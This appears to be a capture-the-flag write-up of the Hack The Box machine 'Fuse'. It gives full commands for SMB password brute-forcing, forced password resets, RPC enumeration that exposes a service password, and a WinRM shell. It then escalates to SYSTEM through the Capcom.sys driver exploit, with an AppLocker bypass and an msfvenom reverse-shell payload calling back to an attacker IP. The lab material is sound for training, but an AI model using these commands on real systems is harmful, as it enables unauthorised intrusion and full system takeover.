Fuse

Enumeration

As usual, we start with an nmap scan, in order to find open ports in the target machine.

The following nmap command will scan the target machine looking for open ports quickly and saving the output into a file:

nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.193 -oN allPorts

  • -sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.

  • --min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.

  • -p- scanning the entire port range, from 1 to 65535.

  • -T5 insane mode, it is the fastest mode of the nmap time template.

  • -Pn assume the host is online.

  • -n scan without reverse DNS resolution.

  • -oN save the scan result into a file, in this case the allports file.

As we see, there are quite a lot of ports open.

Let's try to obtain the services and versions of these ports. The following command will scan these ports more in depth and save the result into a file:

nmap -sC -sV -p53,80,88,135,139,389,445,464,593,636,3268,5985,9389 10.10.10.193 -oN targeted

  • -sC performs the scan using the default set of scripts.

  • -sV enables version detection.

  • -oN save the scan result into file, in this case the targeted file.

First things first, let's add the domain names to the /etc/hosts file.

nano /etc/hosts

If we take a look at the website on http://10.10.10.193, we'll see a printer website.

We can see on the Print Logs section, three logs. If we click on the View button of each log, we'll see some users.

Exploitation

Let's add the users pmerton, tlavel, sthompson, bhult and administrator to a file. At this point, we can use the cewl tool. This tool makes a dictionary based on a web page.

cewl -w passwords http://fuse.fabricorp.local/papercut/logs/html/index.htm --with-numbers

  • -w write the output to a file.

  • --with-numbers accept words with numbers.

Now that we've got some users and passwords, we can try to brute force the SMB service with crackmapexec. The following command will try to log in with each users, and with each password from the dictionary. It continues trying in spite of finding valid credentials, and it doesn't show logon failures.

crackmapexec smb 10.10.10.193 -u users -p passwords --continue-on-success | grep -v FAILURE

  • -u users file.

  • -p passwords file.

  • ---continue-on-success continues authentication attempts even after successes.

  • -v select lines which don't match.

It found that the Farbricorp01 password must be changed for the users tlavel and bhult.

The idea here, is to change the password of the bhult user, and then log in into the RPC server. Once we are logged in, we can enumerate all the domain users, as we have done in other HTB machines. Let's change the bhult password remotely with the smbpasswd tool.

smbpasswd -r 10.10.10.193 -U "bhult"

Now let's log with the user bhult and the password alfa8sa!$ into the RPC server.

You will have to log in into the RPC server quickly, because there is a scheduled task that changes the password that you've just already changed.

rpcclient -U 'bhult%alfa8sa!$' 10.10.10.193

From here we can enumerate several things. The first one are the domain users.

rpcclient $> enumdomusers

We can clean the output of the domain users and write it into a file.

rpcclient -U 'bhult%alfa8sa!$' 10.10.10.193 -c "enumdomusers" | grep -oP "\[.*?\]" | grep "0x" -v | tr -d "[]" > users

We can also enumerate printers. If we do it, we'll see a password at the description of the printer.

rpcclient $> enumprinters

Now we have a list of the domain users and the $fab@s3Rv1ce$1 password, let's see if we can have a shell via winrm as any user with that password.

crackmapexec winrm 10.10.10.193 -u users -p '$fab@s3Rv1ce$1' --continue-on-success

  • -u users file.

  • -p passwords file.

  • ---continue-on-success continues authentication attempts even after successes.

And we see we can have a shell with the user svc-print and the password $fab@s3Rv1ce$1. Once we get the shell, we could grab the user flag.

evil-winrm -i 10.10.10.193 -u 'svc-print' -p '$fab@s3Rv1ce$1'

Privilege Escalation

Let's see what privileges we have.

whoami /priv

The SeLoadDriverPrivilege privilege is enabled. If you search how to escalate privileges with that privilege enabled, you'll find a great article from Tarlogic which explains how to become the NT AUTHORITY\SYSTEM user.

A user with the SeLoadDriverPrivilege assigned is allowed to dynamically load device drivers.

The activation of this privilege in the context of non-privileged users implies a significant risk due to the possibility of executing code in kernel space.

The article explains that we have to use the EplLoadDriver tool. But, if we go to it's official github, we can only download a .ccp file. This means that we have to compile it on Windows.

First, let's create a folder on the desktop called FUSE, and open a command prompt inside it.

Next, let's download the EoPLoadDriver github repository, with the .cpp file on it.

git clone https://github.com/TarlogicSecurity/EoPLoadDriver/

Then we'll have to open Visual Studio Code, and create a new project.

Select the Console App.

Insert the project name.

Once the project is open, we'll have to copy the eoploaddriver.cpp code and paste it into the project. Then we'll have to delete the first include line #include "stadfx.h".

To compile it, let's select Release and x64.

And finally, press Build > Rebuild Solution.

Once it ends, it will store the binary at C:\Users\alfa8sa\source\repos\EoPLoadDriver\x64\Release\EoPLoadDriver.exe. Let's move it to the FUSE folder.

It is also needed the Capcom.sys file. Download it from it's github, and move it to the FUSE folder.

Then, we'll have to download the ExploitCapcom.sln file and compile it with Visual Studio Code again. Let's clone the ExploitCapcom github repository.

git clone https://github.com/tandasat/ExploitCapcom

Then, on Visual Studio Code, press on File > Open > Project/Solution... and select the ExploitCapcom.sln file. Next, select the ExploitCapcom.cpp on the Solution Explorer section.

At the end of the code, we can see that the binary is executing the cmd.exe program. But I am going to change that, becouse I want to execute a malicious file called reverse.exe, which is going to send us back a reverse shell. To avoid AppLocker, I will put the malicious file in a directory listed on the UltimateAppLockerByPassList.

Then compile it like before, and move the binary to the FUSE folder.

Finally, we have the EopLoadDriver.exe, ExploitCapcom.exe and the Capcom.sys binaries on our FUSE folder.

Let's transfer those into our Linux machine with the http.server python module.

python -m http.server

On our Linux machine.

wget http://192.168.1.190:8000/EopLoadDriver.exe

wget http://192.168.1.190:8000/ExploitCapcom.exe

wget http://192.168.1.190:8000/Capcom.sys

Now we need to create the malicious file which will send us a reverse shell. It has to be named reverse.exe.

msfvenom -p windows/x64/shellreversetcp lhost=10.10.14.22 lport=4444 -f exe -o reverse.exe

Now we have to upload those binaries to the victim machine. We can do it with the Upload functionality from evil-winrm. Let's move to the C:\Windows\System32\spool\drivers\color directory on the victim machine, and upload them with evil-winrm.

upload EopLoadDriver.exe

upload ExploitCapcom.exe

upload Capcom.sys

upload reverse.exe

dir

Before running the binaries, let's set a netcat listener on port 4444.

nc -lvnp 4444

  • -l listen mode.

  • -v verbose mode.

  • -n numeric-only IP, no DNS resolution.

  • -p specify the port to listen on.

Now all we have to do is run the following commands.

C:\windows\system32\spool\drivers\color\EopLoadDriver.exe System\CurrentControlSet\alfa8sa C:\windows\system32\spool\drivers\color\Capcom.sys

C:\windows\system32\spool\drivers\color\ExploitCapcom.exe

And we should get the reverse shell as the NT AUTHORITY\SYSTEM user. Then all we have to do is reap the harvest and take the root flag.

Last updated

Was this helpful?